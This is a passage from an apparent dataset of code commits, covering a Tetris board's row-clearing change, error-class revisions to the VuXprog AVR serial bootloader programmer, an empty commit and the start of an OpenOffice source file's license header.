sizeof(points), points);\n\n                current += 1;\n            }\n        }\n    }\n}\n<commit_msg>Clear full row.<commit_after>\/\/\n\/\/  Board.cpp\n\/\/  tetris\n\/\/\n\/\/  Created by Xhacker Liu on 2\/14\/14.\n\/\/  Copyright (c) 2014 Xhacker. All rights reserved.\n\/\/\n\n#include \"Board.h\"\n#include \"constants.h\"\n#include \"include\/Angel.h\"\n#include <iostream>\n\nusing namespace std;\n\nbool Board::has_collision(bool tetro_blocks[4][4], int steps, int cur_x)\n{\n    int left_most = INFINITY;\n    int right_most = -INFINITY;\n    int bottom_most = -INFINITY;\n    for (int y = 0; y < 4; ++y) {\n        for (int x = 0; x < 4; ++x) {\n            if (tetro_blocks[y][x]) {\n                if (x < left_most) {\n                    left_most = x;\n                }\n                if (x > right_most) {\n                    right_most = x;\n                }\n                if (y > bottom_most) {\n                    bottom_most = y;\n                }\n            }\n        }\n    }\n\n    \/\/ Check side border, left_most and right_most are between 0~3\n    if (cur_x + left_most < 0) {\n        return true;\n    }\n    if (cur_x + right_most > 9) {\n        return true;\n    }\n    \n    \/\/ Check bottom border\n    if (steps + bottom_most >= 20) {\n        return true;\n    }\n    \n    \/\/ Check collision\n    for (int y = 0; y < 4; ++y) {\n        for (int x = 0; x < 4; ++x) {\n            if (tetro_blocks[y][x] && blocks[steps + y][cur_x + x]) {\n                return true;\n            }\n        }\n    }\n    \n    return false;\n}\n\nvoid Board::add_blocks(bool tetro_blocks[4][4], int steps, int cur_x)\n{\n    for (int y = 0; y < 4; ++y) {\n        for (int x = 0; x < 4; ++x) {\n            if (tetro_blocks[y][x] && steps + y < 20 && cur_x + x < 10) {\n                if (!blocks[steps + y][cur_x + x]) {\n                    num_of_points += 4;\n                }\n                blocks[steps + y][cur_x + x] = 1;\n            }\n        }\n    }\n\n    \/\/ Check full row\n    for (int y = 0; y < 20; ++y) {\n        bool full = true;\n        for (int x = 0; x < 10; ++x) {\n            if (!blocks[y][x]) {\n                full = false;\n                break;\n            }\n        }\n\n        if (full) {\n            memcpy(blocks[1], blocks[0], y * 10 * sizeof(bool));\n            memset(blocks[0], 0, 10 * sizeof(bool));\n            num_of_points -= 4 * 10;\n        }\n    }\n}\n\nvoid Board::write_buffer()\n{\n    int current = 0;\n    for (int i = 0; i < 20; ++i) {\n        for (int j = 0; j < 10; ++j) {\n            if (blocks[i][j]) {\n                vec2 points[4];\n                points[0] = vec2(-W + (j    ) * BLOCK_W, H - (i + 1) * BLOCK_H);\n                points[1] = vec2(-W + (j + 1) * BLOCK_W, H - (i + 1) * BLOCK_H);\n                points[2] = vec2(-W + (j    ) * BLOCK_W, H - i * BLOCK_H);\n                points[3] = vec2(-W + (j + 1) * BLOCK_W, H - i * BLOCK_H);\n                glBufferSubData(GL_ARRAY_BUFFER, (kBeginBoardPoints + 4 * current) * sizeof(vec2), sizeof(points), points);\n\n                current += 1;\n            }\n        }\n    }\n}\n<|endoftext|>"}
{"text":"<commit_before>\/*\n * Copyright (c) 2010 Peter Zotov <whitequark@whitequark.org>\n *\n * Permission is hereby granted, free of charge, to any person obtaining\n * a copy of this software and associated documentation files (the\n * \"Software\"), to deal in the Software without restriction, including\n * without limitation the rights to use, copy, modify, merge, publish,\n * distribute, sublicense, and\/or sell copies of the Software, and to\n * permit persons to whom the Software is furnished to do so, subject to\n * the following conditions:\n *\n * The above copyright notice and this permission notice shall be included\n * in all copies or substantial portions of the Software.\n *\n * THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND,\n * EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF\n * MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT.\n * IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY\n * CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT,\n * TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE\n * SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.\n *\/\n\n#include <string>\n#include <iostream>\n#include <fstream>\n#include <unistd.h>\n#include <fcntl.h>\n#include <sys\/select.h>\n#include \"picoopt.h\"\n\nusing namespace std;\n\ntypedef unsigned char byte;\n\nconst char* usage[] = {\n  \"\",\n  \"  VuXprog is a serial programmer for universal and extensible AVR\",\n  \"    serial bootloader VuXboot.\",\n  \"  This software is not affiliated with Atmel in any way.\",\n  \"\",\n  \"  Actions|abbreviations:\",\n  \"    flash_read|fr <filename>\",\n  \"    flash_write|fw <filename>\",\n  \"    eeprom_read|er <filename>\",\n  \"    eeprom_write|ew <filename>\",\n  \"    reset|r\",\n  \"\",\n  \"  Options:\",\n  \"    -s PORT\\tset serial port device; default is \/dev\/ttyUSB0\",\n  \"    -f FORMAT\\tset file format; FORMAT may be ihex (default) or binary\",\n  \"    -i SEQ\\tstart bootloader by sending SEQ to port\",\n  \"    -F\\t\\tdo things which sane human wouldn't\",\n  \"\"\n};\n\nnamespace storage {\n  enum format {\n    ihex,\n    binary\n  };\n}\n\nclass error: public exception {\npublic:\n  error(string message) : _message(message) {}\n  string message() { return _message; }\n  ~error() throw() { }\n\nprivate:\n  string _message;\n};\n\nclass io_error: public error {\npublic:\n  io_error(string message) : error(message) {}\n};\n\nclass feature_error: public error {\npublic:\n  feature_error(string message) : error(message) {}\n};\n\nclass hardware_error: public error {\npublic:\n  hardware_error(string message) : error(message) {}\n};\n\nclass protocol_error: public error {\npublic:\n  protocol_error(string info, string node=\"\") : error(make_message(info, node)) {}\n  ~protocol_error() throw() {}\n\nprivate:\n  static string make_message(string info, string node) {\n    string message = info;\n    if(node != \"\")\n      message += \": `\" + node + \"'\";\n    return message;\n  }\n};\n\nclass vuxboot {\npublic:\n  vuxboot(string filename, unsigned baud = 0) {\n    _fd = open(filename.c_str(), O_RDWR | O_NONBLOCK);\n    if(!_fd) throw new io_error(\"cannot open port\");\n\n    \/\/ TODO: set baud rate\n  }\n\n  ~vuxboot() {\n    close(_fd);\n  }\n\n  void identify() {\n    write(\"s\");\n\n    string signature = read(3);\n    if(signature != \"VuX\")\n      throw new protocol_error(\"wrong signature\", signature);\n\n    string s_type = read(1);\n    if(s_type != \"f\" && s_type != \"e\")\n      throw new protocol_error(\"wrong type\", s_type);\n\n    _has_eeprom = (s_type == \"e\");\n    if(_has_eeprom) {\n      string s_eesize = read(1);\n      _eeprom_bytes = 1 << s_eesize[0];\n      s_type += s_eesize;\n    }\n\n    string s_flash_sizes = read(3);\n    _page_words = s_flash_sizes[0];\n    _flash_pages = 1 << s_flash_sizes[1];\n    _boot_pages = s_flash_sizes[2];\n\n    string s_checksum = read(1);\n\n    string concat = signature + s_type + s_flash_sizes;\n    char checksum = 0;\n    for(int i = 0; i < concat.length(); i++)\n      checksum += concat[i];\n\n    if(checksum != s_checksum[0])\n      throw new protocol_error(\"bad checksum\");\n  }\n\n  void describe() {\n    cout << \"Device capabilities:\" << endl;\n    if(_has_eeprom)\n      cout << \"  EEPROM: \" << _eeprom_bytes << \" bytes.\" << endl;\n    cout << \"  Page size: \" << _page_words << \" words.\" << endl;\n    cout << \"  Flash size: \" << _flash_pages << \" pages.\" << endl;\n    cout << \"  Reserved area: \" << _boot_pages << \" pages (at end).\" << endl;\n  }\n\n  string read_flash(unsigned page) {\n    if(page > flash_pages())\n      throw new feature_error(\"flash page address too big\");\n\n    string req = \"r\";\n    req += char(page & 0xff);\n    req += char(page >> 8);\n    write(req);\n\n    return read(_page_words * 2);\n  }\n\n  void write_flash(unsigned page, string words) {\n    if(words.length() != _page_words * 2)\n      throw new feature_error(\"flash page size mismatch\");\n\n    string req = \"w\", status;\n    req += words;\n    req += char(page & 0xff);\n    req += char(page >> 8);\n    write(req);\n\n    status = read(1);\n    if(status != \".\")\n      throw new hardware_error(\"cannot write flash\");\n  }\n\n  string read_eeprom() {\n    if(!_has_eeprom)\n      throw new feature_error(\"no eeprom\");\n\n    write(\"R\");\n    return read(_eeprom_bytes);\n  }\n\n  void write_eeprom(unsigned address, byte b) {\n    if(!_has_eeprom)\n      throw new feature_error(\"no eeprom\");\n    if(address > _eeprom_bytes)\n      throw new feature_error(\"eeprom address too big\");\n\n    string req = \"W\";\n    req += char(address & 0xff);\n    req += char(address >> 8);\n    req += char(b);\n    write(req);\n\n    string status = read(1);\n    if(status != \".\")\n      throw new hardware_error(\"cannot write eeprom\");\n  }\n\n  void reset() {\n    write(\"q\");\n  }\n\n  bool has_eeprom() {\n    return _has_eeprom;\n  }\n\n  unsigned eeprom_bytes() {\n    return _eeprom_bytes;\n  }\n\n  unsigned flash_pages() {\n    return _flash_pages;\n  }\n\n  unsigned boot_pages() {\n    return _boot_pages;\n  }\n\n  unsigned page_words() {\n    return _page_words;\n  }\n\nprivate:\n  string read(unsigned length, unsigned timeout=5) {\n    char data[length];\n\n    unsigned received = 0;\n    while(received < length) {\n      struct timeval to = {0};\n      to.tv_sec = timeout;\n\n      fd_set rfds, efds;\n      FD_ZERO(&rfds);\n      FD_SET(_fd, &rfds);\n\n      FD_ZERO(&efds);\n      FD_SET(_fd, &efds);\n\n      int retval = select(FD_SETSIZE, &rfds, NULL, &efds, &to);\n      if(retval == -1) {\n        throw new io_error(\"cannot select()\");\n      } else if(retval == 0) {\n        throw new io_error(\"read timeout\");\n      } else if(FD_ISSET(_fd, &efds)) {\n        throw new io_error(\"i\/o error\");\n      }\n\n      retval = ::read(_fd, data + received, length);\n      if(retval == -1) {\n        throw new io_error(\"cannot read()\");\n      }\n\n      received += retval;\n    }\n\n    return string(data, received);\n  }\n\n  void write(string data) {\n    if(::write(_fd, data.c_str(), data.length()) != data.length()) {\n      throw new io_error(\"cannot write()\");\n    }\n  }\n\nprivate:\n  int _fd;\n\n  bool _has_eeprom;\n  unsigned _eeprom_bytes;\n  unsigned _page_words, _flash_pages, _boot_pages;\n};\n\nstring read_file(string filename, storage::format format) {\n  ios::openmode flags = ios::ate;\n  if(format == storage::binary)\n    flags |= ios::binary;\n\n  ifstream in(filename.c_str(), flags);\n  if(!in)\n    throw new io_error(\"cannot read from data file\");\n\n  unsigned size = (unsigned) in.tellg();\n  in.seekg(0);\n\n  char data[size];\n  in.read(data, size);\n\n  if(format == storage::binary) {\n    return string(data, size);\n  }\n}\n\nbool write_file(string filename, storage::format format, string data) {\n  ios::openmode flags;\n  if(format == storage::binary)\n    flags = ios::binary;\n\n  ofstream out(filename.c_str(), flags);\n  if(!out)\n    throw new io_error(\"cannot write to data file\");\n\n  if(format == storage::binary) {\n    out << data;\n  }\n}\n\nint main(int argc, char* argv[]) {\n  picoopt::parser opts;\n  opts.option('s', true);\n  opts.option('f', true);\n  opts.option('i', true);\n  opts.option('F');\n\n  if(!opts.parse(argc, argv) || opts.has('h') || !opts.valid() || (opts.args().size() != 2 &&\n        (opts.args().size() != 1 || (opts.args()[0] != \"r\" && opts.args()[0] != \"reset\")))) {\n    cout << \"Usage: \" << argv[0] << \" <action> [argument] ...\" << endl;\n    for(int i = 0; i < sizeof(usage) \/ sizeof(usage[0]); i++)\n        cout << usage[i] << endl;\n    return 1;\n  }\n\n  bool force = opts.has('F');\n\n  storage::format format = storage::ihex;\n  if(opts.has('f')) {\n    string new_format = opts.get('f');\n    if(new_format == \"ihex\") {\n      format = storage::ihex;\n    } else if(new_format == \"binary\") {\n      format = storage::binary;\n    } else {\n      cerr << \"unknown storage format `\" << new_format << \"'!\" << endl;\n      return 1;\n    }\n  }\n\n  string port = \"\/dev\/ttyUSB0\";\n  if(opts.has('s'))\n    port = opts.get('s');\n\n  try {\n    vuxboot bl(port);\n    bl.identify();\n    bl.describe();\n\n    string action = opts.args()[0];\n    if(action == \"flash_read\" || action == \"fr\") {\n      string flash;\n\n      cout << \"Reading flash: \" << flush;\n      for(int page = 0; page < bl.flash_pages(); page++) {\n        flash += bl.read_flash(page);\n        if(page % 10 == 1)\n          cout << \".\" << flush;\n      }\n      cout << endl;\n\n      write_file(opts.args()[1], format, flash);\n    } else if(action == \"flash_write\" || action == \"fw\") {\n      string flash = read_file(opts.args()[1], format);\n\n      unsigned page_bytes = bl.page_words() * 2;\n      unsigned even_pages = flash.length() \/ page_bytes + (flash.length() % page_bytes > 0);\n      flash.resize(even_pages * page_bytes, 0xff);\n\n      if(even_pages > bl.flash_pages() - bl.boot_pages()) {\n        cerr << \"                         \/ ! \\\\      \/ ! \\\\       \/ ! \\\\\" << endl;\n        if(!force) {\n          cerr << \"* Image is \" << even_pages << \" pages long; writing it will \"\n               << \"overwrite the bootloader\" << endl << \"* at pages \"\n               << bl.flash_pages() - bl.boot_pages() << \"-\" << bl.flash_pages() - 1\n               << \". \"\n               << \"Pass the -F flag if you really know what are you doing.\" << endl\n               << \"* Probably you will just overwrite first page of bootloader \"\n               << \"and then everything\" << endl\n               << \"* will fail, leaving you with a nice brick.\" << endl;\n          return 1;\n        } else if(force) {\n          cerr << \"* Shooting myself in the leg.\" << endl;\n        }\n      }\n      \n      cout << \"Writing flash: \" << flush;\n\n      unsigned changed = 0;\n      for(int page = 0; page < even_pages; page++) {\n        string new_page = flash.substr(page * page_bytes, page_bytes);\n        if(new_page != string(page_bytes, (char) 0xff)) {\n          string old_page = bl.read_flash(page);\n          if(old_page != new_page) {\n            bl.write_flash(page, new_page);\n            if(changed++ % 10 == 0)\n              cout << \".\" << flush;\n            if(bl.read_flash(page) != new_page) {\n              cerr << \"verification failed!\" << endl;\n              return 1;\n            }\n          }\n        }\n      }\n\n      cout << \" \" << changed << \" pages.\" << endl;\n    } else if(action == \"eeprom_read\" || action == \"er\") {\n      write_file(opts.args()[1], format, bl.read_eeprom());\n    } else if(action == \"eeprom_write\" || action == \"ew\") {\n      string old_eeprom = bl.read_eeprom();\n      string new_eeprom = read_file(opts.args()[1], format);\n\n      if(new_eeprom.length() > old_eeprom.length()) {\n        cerr << \"eeprom image is too big!\" << endl;\n        return 1;\n      }\n\n      new_eeprom.resize(old_eeprom.length(), 0xff);\n\n      cout << \"Writing eeprom: \" << flush;\n\n      unsigned changed = 0;\n      for(int i = 0; i < new_eeprom.length(); i++) {\n        if(old_eeprom[i] != new_eeprom[i]) {\n          bl.write_eeprom(i, new_eeprom[i]);\n          if(changed++ % 10 == 0)\n            cout << \".\" << flush;\n        }\n      }\n\n      cout << \" \" << changed << \" bytes.\" << endl;\n\n      if(bl.read_eeprom() != new_eeprom) {\n        cerr << \"verification failed!\" << endl;\n        return 1;\n      }\n    } else if(action == \"reset\" || action == \"r\") {\n      cout << \"Resetting device...\" << endl;\n      bl.reset();\n    } else {\n      cerr << \"unknown action!\" << endl;\n      return 1;\n    }\n  } catch(io_error *e) {\n    cerr << \"i\/o error: \" << e->message() << endl;\n    return 1;\n  } catch(protocol_error *e) {\n    cerr << \"protocol error: \" << e->message() << endl;\n    return 1;\n  } catch(hardware_error *e) {\n    cerr << \"hardware error: \" << e->message() << endl;\n    return 1;\n  }\n\n  return 0;\n}\n<commit_msg>Reviewed error classes.<commit_after>\/*\n * Copyright (c) 2010 Peter Zotov <whitequark@whitequark.org>\n *\n * Permission is hereby granted, free of charge, to any person obtaining\n * a copy of this software and associated documentation files (the\n * \"Software\"), to deal in the Software without restriction, including\n * without limitation the rights to use, copy, modify, merge, publish,\n * distribute, sublicense, and\/or sell copies of the Software, and to\n * permit persons to whom the Software is furnished to do so, subject to\n * the following conditions:\n *\n * The above copyright notice and this permission notice shall be included\n * in all copies or substantial portions of the Software.\n *\n * THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND,\n * EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF\n * MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT.\n * IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY\n * CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT,\n * TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE\n * SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.\n *\/\n\n#include <string>\n#include <iostream>\n#include <fstream>\n#include <unistd.h>\n#include <fcntl.h>\n#include <sys\/select.h>\n#include \"picoopt.h\"\n\nusing namespace std;\n\ntypedef unsigned char byte;\n\nconst char* usage[] = {\n  \"\",\n  \"  VuXprog is a serial programmer for universal and extensible AVR\",\n  \"    serial bootloader VuXboot.\",\n  \"  This software is not affiliated with Atmel in any way.\",\n  \"\",\n  \"  Actions|abbreviations:\",\n  \"    flash_read|fr <filename>\",\n  \"    flash_write|fw <filename>\",\n  \"    eeprom_read|er <filename>\",\n  \"    eeprom_write|ew <filename>\",\n  \"    reset|r\",\n  \"\",\n  \"  Options:\",\n  \"    -s PORT\\tset serial port device; default is \/dev\/ttyUSB0\",\n  \"    -f FORMAT\\tset file format; FORMAT may be ihex (default) or binary\",\n  \"    -i SEQ\\tstart bootloader by sending SEQ to port\",\n  \"    -F\\t\\tdo things which sane human wouldn't\",\n  \"\"\n};\n\nnamespace storage {\n  enum format {\n    ihex,\n    binary\n  };\n}\n\nclass error: public exception {\npublic:\n  error(string message) : _message(message) {}\n  string message() { return _message; }\n  ~error() throw() { }\n\nprivate:\n  string _message;\n};\n\nclass io_error: public error {\npublic:\n  io_error(string message) : error(message) {}\n};\n\nclass feature_error: public error {\npublic:\n  feature_error(string message) : error(message) {}\n};\n\nclass hardware_error: public error {\npublic:\n  hardware_error(string message) : error(message) {}\n};\n\nclass input_error: public error {\npublic:\n  input_error(string message) : error(message) {}\n};\n\nclass protocol_error: public error {\npublic:\n  protocol_error(string info, string node=\"\") : error(make_message(info, node)) {}\n  ~protocol_error() throw() {}\n\nprivate:\n  static string make_message(string info, string node) {\n    string message = info;\n    if(node != \"\")\n      message += \": `\" + node + \"'\";\n    return message;\n  }\n};\n\nclass vuxboot {\npublic:\n  vuxboot(string filename, unsigned baud = 0) {\n    _fd = open(filename.c_str(), O_RDWR | O_NONBLOCK);\n    if(!_fd) throw new io_error(\"cannot open port\");\n\n    \/\/ TODO: set baud rate\n  }\n\n  ~vuxboot() {\n    close(_fd);\n  }\n\n  void identify() {\n    write(\"s\");\n\n    string signature = read(3);\n    if(signature != \"VuX\")\n      throw new protocol_error(\"wrong signature\", signature);\n\n    string s_type = read(1);\n    if(s_type != \"f\" && s_type != \"e\")\n      throw new protocol_error(\"wrong type\", s_type);\n\n    _has_eeprom = (s_type == \"e\");\n    if(_has_eeprom) {\n      string s_eesize = read(1);\n      _eeprom_bytes = 1 << s_eesize[0];\n      s_type += s_eesize;\n    }\n\n    string s_flash_sizes = read(3);\n    _page_words = s_flash_sizes[0];\n    _flash_pages = 1 << s_flash_sizes[1];\n    _boot_pages = s_flash_sizes[2];\n\n    string s_checksum = read(1);\n\n    string concat = signature + s_type + s_flash_sizes;\n    char checksum = 0;\n    for(int i = 0; i < concat.length(); i++)\n      checksum += concat[i];\n\n    if(checksum != s_checksum[0])\n      throw new protocol_error(\"bad checksum\");\n  }\n\n  void describe() {\n    cout << \"Device capabilities:\" << endl;\n    if(_has_eeprom)\n      cout << \"  EEPROM: \" << _eeprom_bytes << \" bytes.\" << endl;\n    cout << \"  Page size: \" << _page_words << \" words.\" << endl;\n    cout << \"  Flash size: \" << _flash_pages << \" pages.\" << endl;\n    cout << \"  Reserved area: \" << _boot_pages << \" pages (at end).\" << endl;\n  }\n\n  string read_flash(unsigned page) {\n    if(page > flash_pages())\n      throw new input_error(\"flash page address too big\");\n\n    string req = \"r\";\n    req += char(page & 0xff);\n    req += char(page >> 8);\n    write(req);\n\n    return read(_page_words * 2);\n  }\n\n  void write_flash(unsigned page, string words) {\n    if(words.length() != _page_words * 2)\n      throw new error(\"flash page size mismatch\");\n\n    string req = \"w\", status;\n    req += words;\n    req += char(page & 0xff);\n    req += char(page >> 8);\n    write(req);\n\n    status = read(1);\n    if(status != \".\")\n      throw new hardware_error(\"cannot write flash\");\n  }\n\n  string read_eeprom() {\n    if(!_has_eeprom)\n      throw new feature_error(\"no eeprom\");\n\n    write(\"R\");\n    return read(_eeprom_bytes);\n  }\n\n  void write_eeprom(unsigned address, byte b) {\n    if(!_has_eeprom)\n      throw new feature_error(\"no eeprom\");\n    if(address > _eeprom_bytes)\n      throw new input_error(\"eeprom address too big\");\n\n    string req = \"W\";\n    req += char(address & 0xff);\n    req += char(address >> 8);\n    req += char(b);\n    write(req);\n\n    string status = read(1);\n    if(status != \".\")\n      throw new hardware_error(\"cannot write eeprom\");\n  }\n\n  void reset() {\n    write(\"q\");\n  }\n\n  bool has_eeprom() {\n    return _has_eeprom;\n  }\n\n  unsigned eeprom_bytes() {\n    return _eeprom_bytes;\n  }\n\n  unsigned flash_pages() {\n    return _flash_pages;\n  }\n\n  unsigned boot_pages() {\n    return _boot_pages;\n  }\n\n  unsigned page_words() {\n    return _page_words;\n  }\n\nprivate:\n  string read(unsigned length, unsigned timeout=5) {\n    char data[length];\n\n    unsigned received = 0;\n    while(received < length) {\n      struct timeval to = {0};\n      to.tv_sec = timeout;\n\n      fd_set rfds, efds;\n      FD_ZERO(&rfds);\n      FD_SET(_fd, &rfds);\n\n      FD_ZERO(&efds);\n      FD_SET(_fd, &efds);\n\n      int retval = select(FD_SETSIZE, &rfds, NULL, &efds, &to);\n      if(retval == -1) {\n        throw new io_error(\"cannot select()\");\n      } else if(retval == 0) {\n        throw new io_error(\"read timeout\");\n      } else if(FD_ISSET(_fd, &efds)) {\n        throw new io_error(\"i\/o error\");\n      }\n\n      retval = ::read(_fd, data + received, length);\n      if(retval == -1) {\n        throw new io_error(\"cannot read()\");\n      }\n\n      received += retval;\n    }\n\n    return string(data, received);\n  }\n\n  void write(string data) {\n    if(::write(_fd, data.c_str(), data.length()) != data.length()) {\n      throw new io_error(\"cannot write()\");\n    }\n  }\n\nprivate:\n  int _fd;\n\n  bool _has_eeprom;\n  unsigned _eeprom_bytes;\n  unsigned _page_words, _flash_pages, _boot_pages;\n};\n\nstring read_file(string filename, storage::format format) {\n  ios::openmode flags = ios::ate;\n  if(format == storage::binary)\n    flags |= ios::binary;\n\n  ifstream in(filename.c_str(), flags);\n  if(!in)\n    throw new io_error(\"cannot read from data file\");\n\n  unsigned size = (unsigned) in.tellg();\n  in.seekg(0);\n\n  char data[size];\n  in.read(data, size);\n\n  if(format == storage::binary) {\n    return string(data, size);\n  }\n}\n\nbool write_file(string filename, storage::format format, string data) {\n  ios::openmode flags;\n  if(format == storage::binary)\n    flags = ios::binary;\n\n  ofstream out(filename.c_str(), flags);\n  if(!out)\n    throw new io_error(\"cannot write to data file\");\n\n  if(format == storage::binary) {\n    out << data;\n  }\n}\n\nint main(int argc, char* argv[]) {\n  picoopt::parser opts;\n  opts.option('s', true);\n  opts.option('f', true);\n  opts.option('i', true);\n  opts.option('F');\n\n  if(!opts.parse(argc, argv) || opts.has('h') || !opts.valid() || (opts.args().size() != 2 &&\n        (opts.args().size() != 1 || (opts.args()[0] != \"r\" && opts.args()[0] != \"reset\")))) {\n    cout << \"Usage: \" << argv[0] << \" <action> [argument] ...\" << endl;\n    for(int i = 0; i < sizeof(usage) \/ sizeof(usage[0]); i++)\n        cout << usage[i] << endl;\n    return 1;\n  }\n\n  bool force = opts.has('F');\n\n  storage::format format = storage::ihex;\n  if(opts.has('f')) {\n    string new_format = opts.get('f');\n    if(new_format == \"ihex\") {\n      format = storage::ihex;\n    } else if(new_format == \"binary\") {\n      format = storage::binary;\n    } else {\n      cerr << \"unknown storage format `\" << new_format << \"'!\" << endl;\n      return 1;\n    }\n  }\n\n  string port = \"\/dev\/ttyUSB0\";\n  if(opts.has('s'))\n    port = opts.get('s');\n\n  try {\n    vuxboot bl(port);\n    bl.identify();\n    bl.describe();\n\n    string action = opts.args()[0];\n    if(action == \"flash_read\" || action == \"fr\") {\n      string flash;\n\n      cout << \"Reading flash: \" << flush;\n      for(int page = 0; page < bl.flash_pages(); page++) {\n        flash += bl.read_flash(page);\n        if(page % 10 == 1)\n          cout << \".\" << flush;\n      }\n      cout << endl;\n\n      write_file(opts.args()[1], format, flash);\n    } else if(action == \"flash_write\" || action == \"fw\") {\n      string flash = read_file(opts.args()[1], format);\n\n      unsigned page_bytes = bl.page_words() * 2;\n      unsigned even_pages = flash.length() \/ page_bytes + (flash.length() % page_bytes > 0);\n      flash.resize(even_pages * page_bytes, 0xff);\n\n      if(even_pages > bl.flash_pages() - bl.boot_pages()) {\n        cerr << \"                         \/ ! \\\\      \/ ! \\\\       \/ ! \\\\\" << endl;\n        if(!force) {\n          cerr << \"* Image is \" << even_pages << \" pages long; writing it will \"\n               << \"overwrite the bootloader\" << endl << \"* at pages \"\n               << bl.flash_pages() - bl.boot_pages() << \"-\" << bl.flash_pages() - 1\n               << \". \"\n               << \"Pass the -F flag if you really know what are you doing.\" << endl\n               << \"* Probably you will just overwrite first page of bootloader \"\n               << \"and then everything\" << endl\n               << \"* will fail, leaving you with a nice brick.\" << endl;\n          return 1;\n        } else if(force) {\n          cerr << \"* Shooting myself in the leg.\" << endl;\n        }\n      }\n      \n      cout << \"Writing flash: \" << flush;\n\n      unsigned changed = 0;\n      for(int page = 0; page < even_pages; page++) {\n        string new_page = flash.substr(page * page_bytes, page_bytes);\n        if(new_page != string(page_bytes, (char) 0xff)) {\n          string old_page = bl.read_flash(page);\n          if(old_page != new_page) {\n            bl.write_flash(page, new_page);\n            if(changed++ % 10 == 0)\n              cout << \".\" << flush;\n            if(bl.read_flash(page) != new_page) {\n              cerr << \"verification failed!\" << endl;\n              return 1;\n            }\n          }\n        }\n      }\n\n      cout << \" \" << changed << \" pages.\" << endl;\n    } else if(action == \"eeprom_read\" || action == \"er\") {\n      write_file(opts.args()[1], format, bl.read_eeprom());\n    } else if(action == \"eeprom_write\" || action == \"ew\") {\n      string old_eeprom = bl.read_eeprom();\n      string new_eeprom = read_file(opts.args()[1], format);\n\n      if(new_eeprom.length() > old_eeprom.length()) {\n        cerr << \"eeprom image is too big!\" << endl;\n        return 1;\n      }\n\n      new_eeprom.resize(old_eeprom.length(), 0xff);\n\n      cout << \"Writing eeprom: \" << flush;\n\n      unsigned changed = 0;\n      for(int i = 0; i < new_eeprom.length(); i++) {\n        if(old_eeprom[i] != new_eeprom[i]) {\n          bl.write_eeprom(i, new_eeprom[i]);\n          if(changed++ % 10 == 0)\n            cout << \".\" << flush;\n        }\n      }\n\n      cout << \" \" << changed << \" bytes.\" << endl;\n\n      if(bl.read_eeprom() != new_eeprom) {\n        cerr << \"verification failed!\" << endl;\n        return 1;\n      }\n    } else if(action == \"reset\" || action == \"r\") {\n      cout << \"Resetting device...\" << endl;\n      bl.reset();\n    } else {\n      cerr << \"unknown action!\" << endl;\n      return 1;\n    }\n  } catch(input_error *e) {\n    cerr << \"input error: \" << e->message() << endl;\n    return 1;\n  } catch(io_error *e) {\n    cerr << \"i\/o error: \" << e->message() << endl;\n    return 1;\n  } catch(protocol_error *e) {\n    cerr << \"protocol error: \" << e->message() << endl;\n    return 1;\n  } catch(hardware_error *e) {\n    cerr << \"hardware error: \" << e->message() << endl;\n    return 1;\n  } catch(error *e) {\n    cerr << \"internal error: \" << e->message() << endl;\n    return 1;\n  }\n\n  return 0;\n}\n<|endoftext|>"}
{"text":"<commit_before><commit_msg>Express RefinementState as text rather than numeric codes when printing Elem info<commit_after><|endoftext|>"}
{"text":"<commit_before>\/*************************************************************************\n *\n *  $RCSfile: globals.cxx,v $\n *\n *  $Revision: 1.7 $\n *\n *  last change: $Author: jl $ $Date: 2001-08-14 13:57:51 $\n *\n *  The Contents of this file are made available subject to the terms of\n *  either of the following licenses\n *\n *         - GNU Lesser General Public License Version 2.1\n *         - Sun Industry Standards Source License Version 1.1\n *\n *  Sun Microsystems Inc., October, 2000\n *\n *  GNU Lesser General Public License Version 2.1\n *  =============================================\n *  Copyright 2000 by Sun Microsystems, Inc.\n *  901 San Antonio Road, Palo Alto, CA 94303, USA\n *\n *  This library is free software; you can redistribute it and\/or\n *  modify it under the terms of the GNU Lesser General Public\n *  License version 2.1, as published by the Free Software Foundation.\n *\n *  This library is distributed in the hope that it will be useful,\n *  but WITHOUT ANY WARRANTY; without even the implied warranty of\n *  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU\n *  Lesser General Public License for more details.\n *\n *  You should have received a copy of the GNU Lesser General Public\n *  License along with this library; if not, write to the Free Software\n *  Foundation, Inc., 59 Temple Place, Suite 330, Boston,\n *  MA  02111-1307  USA\n *\n *\n *  Sun Industry Standards Source License Version 1.1\n *  =================================================\n *  The contents of this file are subject to the Sun Industry Standards\n *  Source License Version 1.1 (the \"License\"); You may not use this file\n *  except in compliance with the License. You may obtain a copy of the\n *  License at http:\/\/www.openoffice.org\/license.html.\n *\n *  Software provided under this License is provided on an \"AS IS\" basis,\n *  WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING,\n *  WITHOUT LIMITATION, WARRANTIES THAT THE SOFTWARE IS FREE OF DEFECTS,\n *  MERCHANTABLE, FIT FOR A PARTICULAR PURPOSE, OR NON-INFRINGING.\n *  See the License for the specific provisions governing your rights and\n *  obligations concerning the Software.\n *\n *  The Initial Developer of the Original Code is: Sun Microsystems, Inc.\n *\n *  Copyright: 2000 by Sun Microsystems, Inc.\n *\n *  All Rights Reserved.\n *\n *  Contributor(s): _______________________________________\n *\n *\n ************************************************************************\/\n\n#ifndef _COM_SUN_STAR_DATATRANSFER_DND_DNDCONSTANTS_HPP_\n#include <com\/sun\/star\/datatransfer\/dnd\/DNDConstants.hpp>\n#endif\n\n#include 